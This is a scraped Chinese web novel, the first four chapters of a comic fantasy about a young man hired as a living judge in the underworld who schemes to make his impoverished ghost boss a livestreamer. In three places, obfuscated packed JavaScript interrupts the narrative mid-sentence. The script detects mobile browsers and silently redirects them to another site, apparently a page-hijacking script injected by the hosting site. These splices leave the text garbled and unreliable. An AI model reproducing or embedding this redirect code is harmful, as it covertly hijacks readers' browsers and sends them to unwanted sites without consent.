《拐个傻子鬼直播养我》 1. 第 1 章 “李姐在吗?” 贺鱼推开刻画着奇怪纹路的大门,他第一次来这个地方。 “诶是我们地府那个唯一的活人吗?” 有鬼说了一句,随后传来窸窸窣窣的声响。 “你的肠子绊倒我了!” “我的头,谁看见我的头了?” “快快快帮下忙给我腰拧过来…” 贺鱼穿过把自己拼装完整的鬼怪们,小心翼翼怕踩到哪个鬼的肢体器官,向着一处对他招手地方走去,路上还给捡了个眼珠子。 “小鱼来啦,我刚想给你送过去呢,这是你两个月的工资。” 财务想从另一只手臂上把包拿下来,因为车祸撞骨折的手臂整个扭过去,不太灵活,试了几次都没有成功。 她神色因为愤怒有些狰狞,用另一只手掰了一下骂道:“死手,又不好使了。” 上方悬挂的水晶吊灯十分明亮,贺鱼能清晰得看到她波浪卷发下随着动作露出的半张血肉模糊的脸。 看着怪渗人的,贺鱼见状赶紧站从财务的手臂上拿下那个包:“我来就行李姐。” 李姐死状很惨,她每次都怕吓到贺鱼,把自己死前才烫了不久的大波浪散下来,遮住惨不忍睹的半张脸。 财务给包里的钱都倒在贺鱼的办公桌上,还有个两个硬币滚了出去,还好贺鱼反应快摁住了。 看到桌上的各种面值纸币财务神色似也有些窘迫:“额...小鱼你要不要数数?” 贺鱼见这个包里都是自己的,给桌上零散的纸币一边数一边往包里装:“谢谢李姐。” 最后两个钢镚丢进包里,贺鱼也数完了一分不差。 两个月前贺鱼成了一名地府工作人员。 他毕业后见身边的同学都考编,他也随便报了一个,没有仔细看是哪招的,就看到专业对口,想着哪是这么好考,就算考上了也可以放弃,就当是个模拟考试。 专业课答起来毫不费力,卷子后面还出现了一套奇怪的题。 牛头马面和黑白无常的区别是? 人死后的第一关是? ...... 贺鱼觉得有些奇怪没有多想,就是常识题吧,很多这种从犄角旮旯翻出来的,还别说,这个犄角旮旯他还真就全知道。 他压根没想着一次上岸,随手填完了就走,后面就没关注,练个手的,连哪里招考都没看,就想着当个模拟考试,看看大家和自己的水平。 之后就该吃吃该玩玩,压根就把这件事忘了。 直到七月十五那天晚上。 “贺鱼判官,你今日迟到了。” 低沉带着丝丝凉意的男音在贺鱼耳边炸开,他猛然坐起。 “我曹你谁!怎么进来的!”贺鱼警惕得看着对面的人...或许应该不能叫人。 他的脸跟他离得很近,甚至脸上还残留着他说话吐出的冷气,冰冷刺骨的凉意,让这正夏的夜间宛如冬季,他裸露的皮肤起了一层鸡皮疙瘩。 “裴寂。” 男人见他醒了闪身远离了些许。 贺鱼租的一室一厅,家里就他自己,客厅就有个很大的落地窗,看着明亮,贺鱼就改成了卧室他住在这里。 透过半扇窗户照进来的月光和灯光,贺鱼看到他身上穿着一件黑袍,袖口上藏着的金线纹路在月光下若隐若现。 头发束在头顶用一根簪子固定,墨发垂落,一副金尊玉贵样,好像谁家王侯穿过来了。 他站在离贺鱼不远处,即使低头看人也是微扬着下巴,极大的压迫感。 这是鬼,不是人。 贺鱼扣在床上的指尖发白,小时候那次事情过后,他封了自己的五感,再不曾看到过这些东西,就十余年后第一次,贺鱼心头发紧,浑身冰凉。 “你有什么事?”这么多年过去了,他现在可能连个普通厉鬼都打不过,这个鬼看着不好对付,最好还是不要起冲突。 “你迟到了,我来接你。” 男人又重复了一遍。 贺鱼不明白他在说什么,可他不得不顺着这个鬼说话,尽力周旋:“什么迟到了?” 裴寂一抬手,贺鱼压在被子底下的手机自己飞了出来,在贺鱼的面前跳出一条被屏蔽掉的短信: “恭喜您,通过了地府鬼年758354第一届人才引进计划笔试,因人才紧缺,本轮考试没有面试,请在7月25日晚八点来上班。” 贺鱼一阵茫然,他什么时候参加过...想起不久前的奇怪考试,他噎住。 “走吧。” 声音还未落下贺鱼浑身一轻,回过神已然在空中,刚才悬挂在他家窗户上的月亮现在触手可及,脚下是万米高空,他张嘴想跟说些什么,凛冽的风灌进口鼻,随后脚下一轻,身边的人放开了他。 下坠的感觉让贺鱼的心脏停了半拍。 呛鼻的风消失不见,失重感也被屁股下略微柔软的实感替换。 “忘了你是活人。” 月光给裴寂的侧脸镀上了一层光晕,让这张攻击性很强的脸温和了些许,他脸上带着些许歉意。 这一番折腾贺鱼心里那些恐惧避之不及的情绪都转化成了“认命”二字,想到那条视频的内容:“我被地府录取了?” 裴寂点头:“嗯。” “我能拒绝吗?按照阳间的说法这个时候我有权利不去的。”能找到个学法的,还懂那些鬼怪知识,还真是不容易,他就正好撞上了。 贺鱼觉得命这个东西还真是妙不可言,越想躲最后越以这种奇怪的形式迎面撞个大的。 裴寂视线落在他的脸上:“可以。” 贺鱼微微松口气:“那我...” “不过行为如同戏耍吾等,死后下十八层地狱走一遭。”裴寂的声音冷冷。 这就是赤裸裸的威胁,但是贺鱼能怎么办呢,生不过短短几十年,死后的时光漫长到无法想象。 一人一鬼陷入沉默,贺鱼想到短信上说的人才短缺,想必是绝对不可能放弃,这不去都来家里抢了。 他垂下肩膀,迎着身边的夜风叹口气。 算了,在哪上班不是上班,当牛头马面何尝不是一种牛马。 人家地府的鬼差可是公职人员,能和他小时候遇到的恶鬼一样吗,这肯定是筛选过的品相端正之鬼。 何况这种情况不去也不行,只能这般安慰自己。 贺鱼想到这感觉天上的空气都比下面清新了几分,他打量起这辆车和身边的鬼来。 鬼...死的久了穿着古装也没错,能来接他的想必也不是官职很大的。 拉车的是两头看起来不知道是什么的怪兽,他们没有翅膀但是能在天上奔跑,身上带着红色的纹路,口中时不时吐出火焰,车通体墨色,刻画着诡异的符文,但他们屁股下的软垫倒十分柔软,脚踩的地方也铺了一层。 贺鱼惊讶道:“兄弟,你们地府公车这么炫酷。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392147|168583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这人不是高官,那开的车想必也不会太贵,不知道地府物价怎么样,他赶明也买一个,买不起阳间的还买不起阴间的吗,他眼睛滴溜溜的转,努力记住这辆车的样子,回头不知道用纸扎一个行不行。 裴寂疑惑问道:“公车是何物?” 贺鱼想这人真是古代死的:“就是你们地府出行办公用的车。” 裴寂点点头,随后又道:“不过只有我能用。” 贺鱼心里轻嗤,你跑外勤的可不是你用,装什么。 下车的时候贺鱼才反应过来自己没穿鞋,站在车上地府的阴风吹过他的小熊睡衣,路过的鬼差和魂魄都回头看了眼。 贺鱼想到那天他穿着小熊睡衣和那殿阎王鬼差say hi,现在都在那个殿抬不起头。 上了几天班后贺鱼实在受不了这昼夜颠倒的生活,申请了早九晚五的工作时间。 给装钱的小袋子收进包里,开工资的第一个月财务也是这样给他一个小袋子,打开里面全是金元宝,财务才一拍脑门说忘了他是活人。 阴间没有阳间的钱,财务跟上面反应完说过几天补给他。 贺鱼相信地府不会差他这点钱,就算差了他有什么办法,生死都掌握在人家手里。 贺鱼结束了一天工作收拾好自己的饭盒往出走,地府给他单独份分配了一个殿,解决其他判官解决不了的一些现代纠纷。 这条通往阳间的路贺鱼走了很多次,今日却莫名有些阴森恐怖,这条路来往的鬼不复杂,只有他和去往阳间办事的鬼差,鬼差基本都认识他,还会跟他打招呼,顺路还能送他一程。 今日乍一看与往常没什么不同,仔细一看也没什么不一样,就是看不见来来往往的阴差,阴暗的天空还是那般没有太阳,不会黑天,也不会像阳间那样充满阳光。 周围时不时飘散着雾气,路两边的彼岸花一动不动。 贺鱼扯了扯挎在肩上的包,加快脚步,他还着急回家抢鸡蛋呢。 往日里走十分钟就看到尽头的路,今日似怎么走还在原地不动。 奈何这条路没有什么标志的东西,两边永远都是这样的彼岸花。 贺鱼掐着包子心里念叨:这是阴间,他是判官,那些鬼见到他都要喊一声青天大老爷,有什么好怕的。 脚上还是不自主由走变跑了起来。 不远处终于出现一个影子,披散着长发,白皙的小腿,一定是个美貌女鬼。 贺鱼脸上露出喜色,太好了,要是碰到鬼差就能直接送他回家了。 他轻咳了两下嗓子,挤出一个自认为完美的微笑,夹出过去打游戏撩妹妹的气泡音:“嗨,你好,我是三殿的贺鱼判官,我好像迷路了,可以送我回家吗?” 贺鱼觉得有些不对,他此刻已经到了那个影子身后。 哪是什么美貌女鬼,乱蓬蓬的头发散在身后,腿上的裤子...其实是一块烂布遮不住身体,也不是他想象的美腿,压根就没肉,两条骨头架子,骨头架子上带着一副镣铐,沾着血迹碎肉的锁链拖在地上划出一道痕迹。 贺鱼从未如此后悔自己不爱戴眼镜的习惯,尬笑两声:“不好意思啊,认错了,我以为是我二姨呢,我先走了哈。” 却见那东西听见声音缓缓转过来,他半张脸白骨森森,半张脸血肉模煳,有虫子顺着他白骨鼻孔爬出来再顺着黑漆漆的眼窝爬进去他嘴里叼着半根胳膊,呸的一声吐在地上,怪笑两声:“呦,地府还有活人。” 2. 第 2 章 贺鱼惊叫了一声“我曹鬼啊”掉头就跑。 地府这些鬼差干什么吃的,这么大一只恶鬼在这里游荡看不见吗,是不是故意放在他回家路上搞他的,这难道就是职场下马威吗。 贺鱼心里吐槽脚上飞奔,还好今天穿的运动鞋,奈何多年来疏于锻炼爆发很强后劲不足。 爆发强的来源还是乍一看那张死脸吓得。 “别追了,我是直男。”贺鱼呼哧带喘实在是有些跑不动了,呼吸像一位哮喘病人,说句话喘得像要背过气去。 身后的恶鬼穷追不舍,脚上挂的链子哗啦作响,这声音随着贺鱼降下来的速度越来越近,给贺鱼心里造成极大的压迫感。 贺鱼实在受不了,伸头一刀缩头也是一刀,他转身对着恶鬼就是来一拳。 恶鬼跑太快没想到贺鱼居然还敢回头动手,来不及刹车,迎面和贺鱼的拳头撞了个结实。 一人一鬼都捂着撞的地方喊疼,但贺鱼向来是趁人病要人命,之前道观老头教的招式这么多年没练却仿佛刻在骨子里,行云流水得用出来。 鬼被压着揍了半天似乎才想起来自己的能耐,他“桀桀”怪笑两声,随后张嘴想对着贺鱼喷出一股煞气。 他刚张开嘴就被塞进个什么东西:“唔...咕噜~你、你给我吃了什么?” 贺鱼随手合上他的下巴,也学着他的怪笑:“桀桀桀,十全大补天雷符。” “你是...”厉鬼的话还没说完,嘴里冒出一阵黑烟,轰然倒下。 贺鱼松口气坐在地上喘着粗气:“妈的这算工伤吧,这得加钱!”还好贺鱼兜里揣着两张之前画的符,不然今天岂不是在劫难逃。 这上班不能搭上一条命吧,贺鱼越想越气。 “噗,咳咳咳咳~” 突如其来的尘土飞扬,贺鱼本就气没喘匀,差点被这一阵灰吹得背过气去。 “贺鱼判官。” 熟悉冷冽的男低音,贺鱼扇开面前的尘土仰视坐在异兽车上的裴寂。 今日换了一身全黑的衣服,居高临下坐在车上,桌上摆的是小茶水和小点心吧,贺鱼要是没看错这人事鬼脸上还沾着糕点渣子。 他在这差点以后上班都不用通勤了,这人事鬼倒是慢悠悠一边吃一边喝,等鬼都解决了他来了。 贺鱼当即就不干了:“我说你们地府怎么回事,是不是不想给我工资准备弄死我呢。” 他说完突然灵光一闪,不会真是这样吧,他要是死了可就不用费劲给他弄阳间钱了。 裴寂视线略过贺鱼停留在他脚边倒下的厉鬼身上,丝毫不知脸上带着的糕点渣子:“贺鱼判官说笑了,就算你成了鬼,地府也会给你开工资的。”人有人权,鬼也有鬼权。 贺鱼当即眼珠一转,坐在地上就开始嚎:“不干了,我不干了,你们地府纯坑人,我差点被恶鬼吃了,魂都不一定留下一个!” 可能是他叫的吵闹,两只怪兽焦虑的踱步,随后上前一步,张口叼起贺鱼脚下的恶鬼,瞬间就吞吃入腹,张嘴打个饱嗝,冒出一缕黑烟,贺鱼被吹个正着,吐出的风给他吹了个杀马特造型。 裴寂才又道:“油锅地狱走失的五百年恶鬼,不知贺鱼判官是怎么将其制服的。” 贺鱼往下扒拉着自己的头发,毫不心虚张口就来:“诶你是问对了,这可是我妈跟之前的老道士求得符,陪了我三十多年,现在就因为你们地府看鬼不利,用掉了,你们说怎么赔吧。” 裴寂指尖一挥,那份地府和贺鱼签下的劳动合同出现在面前:“贺鱼判官今年才二十四岁。” 贺鱼脸都不红一点:“我父母死后一年当三年过得。” 裴寂自知理亏,没有在这无关紧要的地方与贺鱼纠结:“那贺鱼判官要如何赔偿?”这事还是他们地府的问题,这只鬼打晕了看守的鬼差,偷跑出来,偏偏跑到了这来,被贺鱼撞上。 裴寂扫过地上的痕迹,要是没有那张符这活人的小命确实难保,只要是合理的赔偿他都愿意出。 贺鱼早就想好了要什么:“我要辞...” “辞职没门。” 裴寂说完意识到自己反应过激,轻咳两声回复往日的冷酷模样。 贺鱼缕着自己头发:“那你们得保证我的安全吧。” 裴寂思考片刻,神色奇怪得掏出一个物件,在他手上消失便出现在贺鱼的手上。 一根黑色的短绳,上面系着一串珠子。红色的珠子圆润,里面的红色纹路流转。 贺鱼能感受到此物煞气十足,别说鬼不敢靠近,他都想扔了。 不等贺鱼开口,裴寂神色略有躲闪道,似是生怕他再问:“此物放在包里,便鬼物不可侵。” 贺鱼觉得这个人事鬼神情古怪,心下存疑,但还是收进兜里。这玩意鬼物不可侵那是实打实的。 见贺鱼收起来裴寂一转身架着车消失了。 贺鱼一拍大腿,刚才先问问能不能带上他好了,看来今晚上打折的鸡蛋是抢不上了。 两界的交界口在一处城隍庙,庙里的小道士见他还给他塞了两个果子。 城隍庙不远处的地铁恰好能到他家。 除了今天这件事和要和鬼打交道外,贺鱼现在对这份工作也是非常满意,钱事不少也不算多,到家还方便。 将近十月份外面的天气还是热得很,贺鱼从超市出来没走两步就热了一身汗。 运气真好,鸡蛋还有的剩。 他一手提着大袋子,一手拿着冰棍往嘴里塞,争取在它化成水之前赶紧吃到肚子里。 冰棍融化的甜水会让手变得黏腻难受。 超市到家得必经之路处尘土飞扬,他想起前些日子小区群里说这附近要建一个大型商场。 贺鱼赶紧吃掉冰棍想着闭气跑过去。 正路过的时候听到工头喊了一声:“裴寂!再来两袋水泥!” 贺鱼脚步放慢,这名字怎么听着这么熟,好像在哪里听过。 他回头往那片尘土飞场处看去,只见一个矫捷的身影,扛着两袋水泥健步如飞。 在那人放完水泥转头的时候贺鱼看清了他的脸,惊得手里的袋子差点没拿住。 贺鱼揉了揉眼睛,刚刚就和这脸面对面,怎么可能不记得。 这不那个人事鬼,难不成死太久了,借着他职务之便外出打点零工,赚点零花钱花花? 真是钱难挣屎难吃,这鬼死了还得来阳间找个兼职。 贺鱼阴暗得躲在工地旁边的树后盯了两个多小时,拎着个大袋子都不嫌沉,一想到刚才趾高气昂的鬼现在灰土狼烟的搬砖贺鱼就阴笑出声。 他这两个小时本想着看这人事鬼怎么被包工头训,结果这裴寂一次能抗三四个人的水泥,一直被工头表扬。 贺鱼在树后面后槽牙都快咬碎了。 “喂,你干什么的?” 贺鱼冷不丁被吼一下吓一抖,看到一个穿着红马甲的社区工作者警惕得盯着他。 贺鱼挺直腰板:“没事啊,看看咋了,不让人看了。” 说罢装作无事吹着口哨离开。 贺鱼在这片小区住了有四五年了,这边楼下的大爷大妈他全都认识,一进小区都热情得跟他打招呼,贺鱼摸了两块糖给小孩。 这小区不是什么高档小区,这样却显得更有人味。 吃完饭贺鱼对着灯打量了一会裴寂给他的那串东西,这虽然小小的一颗珠子,附着的煞气让贺鱼心惊,若说拿今日那只厉鬼作比较,怕是一千个厉鬼也抵不上这一个小珠子。 这东西确实辟邪,大邪之物。 他想了想给简单加工了一下,做成一个手串。 贺鱼肤色偏白,红珠子穿着黑绳子套在手腕上看着还挺好看,他自己欣赏了一会。 放下手叹口气,挪步到客厅中间的走到客厅透明玻璃柜,里面摆着一些金饰品,有戒指、项链、手镯。 贺鱼拿过柜边摆放的软布一个个擦的精细:“妈,我又接触这些东西了...” 他说罢赶紧摆手:“不过我也是迫不得已,那个鬼过来我要是不动手咱俩赶不上下辈子做母子,只能做姐弟了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392148|168583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 金饰品不会给他什么回应,贺鱼放下一个接着说:“有时候感觉真是世事难料,我以为可以一直作为一个普通人活下去,结果阴差阳错成了地府的活人鬼差,唉~” 他挨个擦完后仔细的摆回原位,拜了拜。 母亲的愿望希望他能做个普通人,别再和这些鬼怪接触,这么多年都过来了,谁知道还有这么一出。 他又拆开脚边的快递盒子:“这是新出的款式,听说卖得挺火的,不过这个月赚得有点少,只能买个小的,过几天补个大的。” 父母都在的时候日子过得并不是富裕,他妈总说以后有钱了一定买很多金子。 柜子里的这些是他这些年打工攒的。 贺鱼将新买的镯子摆在最外面:“晚安妈。” 事已至此贺鱼也只能面对,听天由命吧,贺鱼早早睡下了。 贺鱼次日刚进地府跟裴寂撞了个正着,这鬼虽然面瘫脸没什么表情但贺鱼就是看出来他行色匆匆的样子,想到昨天他那两只怪兽给自己的下马威,贺鱼眼珠一转上前一步。 “诶裴人事,上班呢。” 阴间只有贺鱼这个殿里可能有阳间的钟表,裴寂不知道是何时辰过来看看有没有到打工的时间,一看就差十分钟。 半道被迎面的贺鱼撞上,伸手不打笑脸人,贺鱼呲着牙对着他态度友好,昨日还是他理亏,裴寂也不好不回人话:“嗯。”不是上班是干什么,这活人怎么竟说没用的。 裴寂本以为这样打过招呼就可以走了,没想到贺鱼斜斜靠在门上要和他聊起天来:“昨天那种事不会再发生了吧,可吓死我了,诶呦现在想起来我这心肝还颤呢。” 裴寂心急如焚估算着时间一边敷衍贺鱼:“ 不会。” 贺鱼又问:“那个鬼活着犯了什么事啊?” 裴寂实在是来不及:“贺鱼判官,我还有事。” 贺鱼心下暗爽还想说两句就见裴寂化成一道黑烟消失在他面前。 他心情大好,推开大门跨进殿内:“诶呦卧槽,怎么不开灯!” 屋内一片黑,不知道哪个鬼差在门口放了东西,他差点摔个狗啃屎。 贺鱼打开手机的手电筒,一打光迎面一张白无常惨白的笑脸,吓得他又往后几步磕在大门上。 人还是不能做坏事,这报应这么快就来了。 贺鱼揉着被撞疼的脑袋心里嘟囔。 白无常上前:“大人没事吧,最近地府经济紧张,这批鬼火还没批下来呢,不光咱们殿没有别的殿也都没有。”他怕贺鱼多想,以为他们欺负活人。 贺鱼抹黑干了一天活,眼珠子下班的时候都快瞎了,他都想给凳子搬到外面来,那个殿里弄的一点光没有他也不知道是为啥。 家附近的工地要施工很久,贺鱼几乎每天下班回来路过都会看到裴寂。 直到有一天他看到裴寂追着一个硬币跑了半天,最后掉进井盖一脸天塌了的样子,他蹲在井盖旁边小心翼翼数手里皱皱巴巴的纸币。 贺鱼脑子里突然灵光一闪。 不会裴寂赚的钱就是他的工资吧... 怪不得发工资时他的那个小包里面啥面额的纸币都有,大到一百,小到硬币。 这样想来就全通了。 贺鱼一直惦记着这事,回家路上一直在想,让一只鬼来阳间赚钱真是难为他了。 人鬼有啥区别,还不都是牛马,想到地府的经济情况,不知这裴寂能不能拿到阴间的工资,这样想来还有点可怜他了。 他拿起手机擦掉头发上的水珠,简单洗漱过后拿手机刷视频,界面推送了一个爆料瓜: 月入千万多电网红xxx偷税漏税查实,众所周知xxx是一位靠颜值出圈的博主... 贺鱼顺着视频找到了那个博主照片,长这样就能月入千万,那裴寂的话... 在他看来裴寂的长相甩出他几条街。 贺鱼一边刷着这个博主残留的视频照片,心里算盘打得啪啪响。 要是裴寂来当个小网红呢... 3. 第 3 章 裴寂缺钱,他也缺钱,想到这贺鱼攥了攥手机,脑子的想法逐渐成型。 能在阳间行走的鬼差,应该没什么问题吧... 次日贺鱼故意在工地旁偶遇裴寂。 他赤裸着半个上身,脸上都是泥土,蹲在街边一个卖衣服的小摊。 贺鱼并没有刻意听。 “这件多少钱?” 裴寂指着最上面的一件没有很普通的黑色T恤。 卖衣服的摊主上下打量了一下他,眼珠转了两圈道:“二百。” 裴寂脸上露出纠结之色,迟疑了几秒还是把手伸进裤兜掏出钱递给摊主。 那摊主脸上一喜,这人看起来就不会讲价,随口报了个价没想到这人真同意了,这衣服他从工厂里进价不到二十,净赚一百八呢。 这两张红色的票子眼看着就到他手里了,突然面前闪过一个残影,他还没看清,红色票子就消失在眼前。 裴寂也是一蒙,他没想到光天化日之下还有人直接抢钱。 他抬头看到贺鱼胳膊上挂着一堆塑料袋,露出的半截青菜带着泥土。 贺鱼握着票子也不看裴寂,上手摸了下衣服。 “老板,这衣服便宜点吧。” 就这布料连五十块钱都不值,洗了还得掉一盆色。 老板一看有人出来捣乱心里暗骂,嘴上的谎话来得快:“你这年轻人不懂别乱说,我这是品牌断货的拿出来甩卖,之前都七八百的东西。” 贺鱼张口就来:“诶老板你说的对。” 老板心里一喜脸上露出轻松之色,这也是个傻子。 “你这跟那个国际大牌一样,奢侈品,主打一个你的牌子,穿一次就扔,不是我说老板,你这衣服洗一次掉色换的水都得十块。” 说着他就扔下衣服拉着裴寂走:“走吧,你这扛水泥还买上地摊香乃乃了。” 摊主一看到嘴的鸭子飞了赶紧叫住:“诶,小伙子,我这天黑要收工了,你看这小伙子还穿着破衣服逛街也不合适,我就给你便宜点拿走吧。”生意最近也不好做,今天一件没卖出去呢。 贺鱼停下又看了一眼裴寂,他身上衣服也不知道怎么弄得几乎碎成两半,确实也不好。 他问:“便宜多少?” 摊主这次没敢说多:“一百。” 贺鱼伸出两根手指:“二十。” 老板一下从摊位上窜起来,声音尖锐:“二十!”他以为他够黑心了,没想到四十多岁了还叫一个二十出头的小伙子上了一课。 看着周围人都看了过来,他清咳了两声,脸色为难:“小伙子,二十有点太少了吧。” 贺鱼也知道自己给的够少,亏本的生意肯定不会做。 两边交易就是要给出一个低于他心里的价格,这样他再加到自己预期的加钱,这人只会觉得多了不少。 “三十,不能再多了。”贺鱼又添了一根手指。 老板是看出来了这是行家不好糊弄:“三十确实太少了,你要诚心买四十拿走吧,现在生意不好做,我这也在这摆一天了。” 贺鱼见周围聚集的人越来越多,还有拿手机拍照的,四十也确实是摊主的底线了,也不能真的不让人家赚点。 给手里的红票子抽出一张递给老板,还仔仔细细数了两遍老板找的钱才拉着裴寂离开。 裴寂跟在贺鱼身后垂头深思。 二百块钱的衣服,四十块钱买了? 贺鱼瞧着垂着头一身脏污的裴寂有点好笑,他之前那身滚金黑袍看着生前就是个富贵人,谁想到死后为了这点钱被小贩欺负。 贺鱼问:“你不用回去接着...工作吗?” 裴寂摇头:“刚才工地出了点事,现在不让接着动工了。” 贺鱼想到自己今天的目的:“我给你省了一百多块钱,眼看着到饭点了不得请我吃顿饭吗?”逮着机会贺鱼得把这钱薅出来点。 裴寂皱眉思考,人家确实帮了他,但万一他吃的很贵,岂不是还要搭上点。 “可以,但是我只有这些钱。”裴寂举着手里刚才找回来的钱。 他当然不是只有这么多,但他怕这个活人吃得太贵。 贺鱼心里翻了个白眼,他没打算吃太贵的。 一人一鬼到了旁边的麻辣烫店,裴寂在阳间打了一个月工从来没吃过阳间的东西。 站在那里像个棒槌不知道做什么,闻着店里的香味他吞咽了两下口水,已经几百年没吃过阳间的东西了。 他学着贺鱼的样子夹菜,贺鱼疑惑:“你也吃?” 他视线瞄过裴寂身上的衣服,小时候碰到的鬼都是没法使用阳间的东西,心下对裴寂又慎重了几分,这个鬼的道行一定很高。 裴寂高冷得点点头当然想吃,每天看着阳间这些稀奇古代的现代食物都快馋死了,奈何经济紧张。 吃饭的时候贺鱼多次想要搭话,裴寂吃的太认真,一直找不到机会。 眼看着他捧起碗连汤都喝了,连个调味的葱花都没放过,贺鱼看得是目瞪口呆,这人不会是饿死的吧,怎么看着这么有钱一副穷酸样。 见他吃完贺鱼开始了今天的正题,问道:“你一个月能赚多少?” 裴寂眼神盯着贺鱼剩下的面条:“四千。” 贺鱼皱眉:“那你这也不够我的工资啊...” “嗯,我还打了别的工。”裴寂有问必答。 贺鱼追问:“还打了什么工?” 裴寂拧眉:“甜品店当店员,超市搬货,饭店刷碗...” 贺鱼心想这鬼不用睡觉就是好,一天能打好几份工,他要是开个店能雇佣这样一群鬼员工就好了。 一群有点难,但是面前有个现成的。 贺鱼心里的算盘霹雳扒拉作响,他前几天看中的金HelloKitty要几十万,这天天上班哪来的钱买。 他接着问:“这些才够我的工资?”粗略算算这几样工资也不会太低吧,怎么做了这么多。 裴寂见贺鱼没有要吃的样子,有些哀怨得看了他一眼,这活人真是浪费:“现在奉行无神论,地府的香火没多少了,经济很紧张。” 贺鱼一听,穷,穷就更好办了:“麻辣烫香不香?” 裴寂实在点头,确实好吃,从未吃过的美味。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392149|168583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 贺鱼笑嘻嘻:“以前没吃过?” 裴寂再次点头,确实以前没吃过。 贺鱼不再兜圈子:“是不是因为没钱。” 裴寂并不觉得羞耻,穷很正常。 贺鱼每问一句就往前靠近一分,此刻一人一鬼贴得极近,“我有个可以赚很多钱的工作,你要不要试试?” 此刻两人贴得极近,裴寂能看到贺鱼金棕色的瞳孔倒映出一个小小的自己。 贺鱼的头发不是纯黑,和他眼珠一样,浅棕色,穿着一件浅色的T恤,上面画了一个可爱的小熊。 穿着这么可爱的衣服气质却是吊儿郎当,那双灵动的桃花眼里感觉总是很多算盘。 此刻眼睛亮晶晶看着他,裴寂总觉得怪怪的,好似在打量他值多少钱是的。 想到个下面不断给他上交的各种花销账单,裴寂还是问道:“什么办法?” 贺鱼拿出手机给裴寂展示昨晚刷到的男主播:“我们一开始就是拍拍照片,开开直播养号,后面粉丝多了带货或者像这样接广告,然后我们就赚到钱了。”他考虑到裴寂这么多年的代沟,尽量用简洁的话语来描述做直播这件事。 裴寂不敢相信:“就这么简单?”不知道直播是什么东西,照片却是懂得。 贺鱼点头:“对啊,就这么简单。” 不是简单,是这行要有得天独厚的条件和一定的机遇,说白了就是老天爷赏饭吃,都说不拿皮相看人,但谁不先看皮相。 贺鱼眼神在裴寂脸上扫了一圈,啧啧称奇,就一个字,绝。 “也不耽误你现在打工。”贺鱼说着掏出手机对着裴寂摁下快门,拿给裴寂看。 “你看,就这样拍个照片,剩下的交给我就行了,就是如此简单,我们五五分成咋样?” 裴寂沉默片刻,虽然总觉得这个活人的心眼子很多,但他真穷。 “可以。” 裴寂答应得飞快,他早就受不了这些黑心老板了,天天找各种理由扣他钱。 裴寂答应得这么痛快倒是让贺鱼有些犹豫:“真可以?”这份工作应该相当于裴寂生活年代的戏子,他们那个年代的戏子不是什么好职业,裴寂就这么轻松同意了? 他想了想还是给这件事说出来,说不定裴寂在人间这么久都在工作并不了解这份工作的性质,为了避免之后的麻烦,他还是和裴寂说明白点好。 在裴寂看向他略有些诡异的视线中,他心有忐忑得听到裴寂低沉的声音:“贺鱼判官,时代变了,你思想不要这么腐朽。” 贺鱼被噎得半晌说不出话,从牙缝里挤出几个字:“哈哈哈,是啊,时代变了...”用你这陈年老鬼告诉我。 贺鱼没因为裴寂不懂在合同上做手脚,每列一条都会征求一下裴寂的意见,最后签下自己的名字。 裴寂反手掏出一个印章,盖在合同的签名处,黑色的墨汁流动,带着浓重的煞气。 贺鱼拿着这份合同嘿嘿笑了两声,发家致富,就在此时。 晚上规划了一宿,第二天贺鱼就下班想找裴寂拍两张照片时候懵了,殿里的鬼差问了一圈,没有一个鬼认识裴寂。 4. 第 4 章 贺鱼坐在殿门口的小椅子开始沉思,难道裴寂不是在编的鬼?不过这地府鬼这么多,要是不认识倒也正常,自己跟他签的合同才来的,那就是肯定有这个鬼,只不过这个殿没人认识。 不过联系鬼也不是没有办法,贺鱼回到阳间管城隍庙的小道士借了张黄表纸,折了一个小金元宝。 贺鱼点燃金元宝念叨:“裴寂裴寂,厂危速归。” 贺鱼烧完等了十来分钟,没有动静,两个小道士一开始还好奇在他身边蹲着看,最后好像十分不屑得离开了。 贺鱼给无聊叠的两个金元宝愤怒得丢在一边桌子上。 这两个没什么道行的小道士,他像他们两个这个年纪已经拿五雷咒轰厉鬼了。 贺鱼气冲冲拿起本来给小孩的糖挎着包赶地铁。 贺鱼心想果然不靠谱。 此时阴间的收发处排着整齐的队,身上穿得都是现代装,死了太久的老鬼已经没有人再给烧东西。 略一看去有十几个窗口,开着的就一个,旁边红色的大字标注:带头认领,没头不给。 有人烧了东西会有鬼差去通知阴魂,此时非年非节,东西不也多,基本上都是给新死的烧的,很快面前的队伍就一个不剩,鬼差拿着两个金元宝,神情复杂。 谁家烧元宝就烧这么几个,真是死久见了也是。 